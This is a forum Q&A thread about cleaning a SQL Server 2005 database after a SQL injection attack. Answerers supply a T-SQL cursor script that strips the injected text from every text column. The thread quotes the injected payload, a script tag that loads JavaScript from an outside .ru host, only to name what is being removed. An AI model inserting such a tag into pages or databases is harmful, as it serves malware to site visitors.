Home > IT Answers > Development > Writing a SQL Query
Bosco322
25 pts.
 Writing a SQL Query
SQL Query, SQL Server 2005
Is it possible to write a query that goes through the entire database to search out a particular phrase to delete it, instead of going table by table? This is on a SQL 2005 Database that was injected. The following appears throughout the database tables: <script src=http://www.jic2.ru/script.js></script> This appears all over in different tables exactly as above. So my database is currently limping. Can anyone help me? Thanks Bosco

Software/Hardware used:
ASKED: September 10, 2008  8:53 PM
UPDATED: June 13, 2013  3:36 PM
RELATED QUESTIONS
Answer Wiki:
This SQL Code should do the trick for you. 
<pre>
DECLARE @sql NVARCHAR(4000)
DECLARE cur CURSOR FOR
select 'update [' + schema_name(sys.tables.schema_id) + '].[' + object_name(sys.tables.object_id) + ']
set [' + sys.columns.name + '] = replace([' + sys.columns.name + '], ''<script src=http://www.jic2.ru/script.js></script>'', '''')'
from sys.columns
join sys.tables on sys.columns.object_id = sys.tables.object_id
and sys.tables.is_ms_shipped = 0
where system_type_id in (35, 98, 99, 167, 175, 231, 239, 241, 231)
OPEN cur
FETCH NEXT FROM cur INTO @sql
WHILE @@FETCH_STATUS = 0
BEGIN
exec (@sql)
FETCH NEXT FROM cur INTO @sql
END
CLOSE cur
DEALLOCATE cur

</pre>
It does through all columns which are text columns and update them. You may also find the article: Secure SQL Server from SQL injection attacks handy.
Last Wiki Answer Submitted:  June 13, 2013  3:36 pm  by  Michael Tidmarsh   13,930 pts.
All Answer Wiki Contributors:  Michael Tidmarsh   13,930 pts. , Denny Cherry   64,550 pts. , Flame   14,895 pts.
To see all answers submitted to the Answer Wiki: View Answer History.


RSS - Discussions Help
Discuss This Question:
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

 

Check out my SQL Server blog “SQL Server with Mr Denny” for more SQL Server information.

Denny Cherry
 64,550 pts.
 

this code did not work

Bosco322
 25 pts.
 

What error message did it give you?

Denny Cherry
 64,550 pts.
 

The error that I got was on the system tables. I’ve tweaked the code and updated it above to remove these errors.

Denny Cherry
 64,550 pts.
 

I forgot to mention, this will throw an error for any columns which are of the TEXT or NTEXT datatypes. If you are using these data types let me know, and I’ll throw some code together to deal with these. Those data types are much more complex to handle.

Denny Cherry
 64,550 pts.